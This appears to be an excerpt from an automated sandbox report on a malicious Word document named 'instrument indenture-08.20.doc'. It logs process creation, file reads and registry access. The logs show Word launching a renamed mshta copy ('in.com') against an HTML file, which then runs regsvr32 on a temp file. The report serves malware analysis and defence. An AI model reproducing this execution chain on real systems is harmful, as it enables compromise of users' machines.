Source: classification engineClassification label: mal100.expl.winDOC@5/26@1/1
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEFile created: C:\Users\user\AppData\Roaming\Microsoft\BibliographyJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Temp\{50980DEF-677A-4FED-816D-64383D957360} - OProcSessId.datJump to behavior
Source: instrument indenture-08.20.docOLE document summary: title field not present or empty
Source: instrument indenture-08.20.docOLE document summary: edited time not present or 0
Source: C:\Users\Public\in.comCommand line argument: Kernel32.dll2_2_001A1460
Source: C:\Users\Public\in.comCommand line argument: WLDP.DLL2_2_001A1460
Source: C:\Users\Public\in.comCommand line argument: kernel32.dll2_2_001A1460
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Users\Public\in.comKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Users\Public\in.comFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\Public\in.comFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE' /Automation -Embedding
Source: unknownProcess created: C:\Users\Public\in.com C:\users\public\in.com C:\users\public\in.html
Source: unknownProcess created: C:\Windows\SysWOW64\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' C:\Users\user\AppData\Local\Temp\temp.tmp
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess created: C:\Users\Public\in.com C:\users\public\in.com C:\users\public\in.htmlJump to behavior
Source: C:\Users\Public\in.comProcess created: C:\Windows\SysWOW64\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' C:\Users\user\AppData\Local\Temp\temp.tmpJump to behavior
Source: C:\Users\Public\in.comKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32Jump to behavior
Source: C:\Users\Public\in.comKey opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SettingsJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEWindow found: window name: SysTabControl32Jump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguagesJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior
Source: Binary string: mshta.pdbGCTL source: in.com, 00000002.00000002.290174151.00000000001A1000.00000020.00020000.sdmp, in.com.0.dr
Source: Binary string: mshta.pdb source: in.com, in.com.0.dr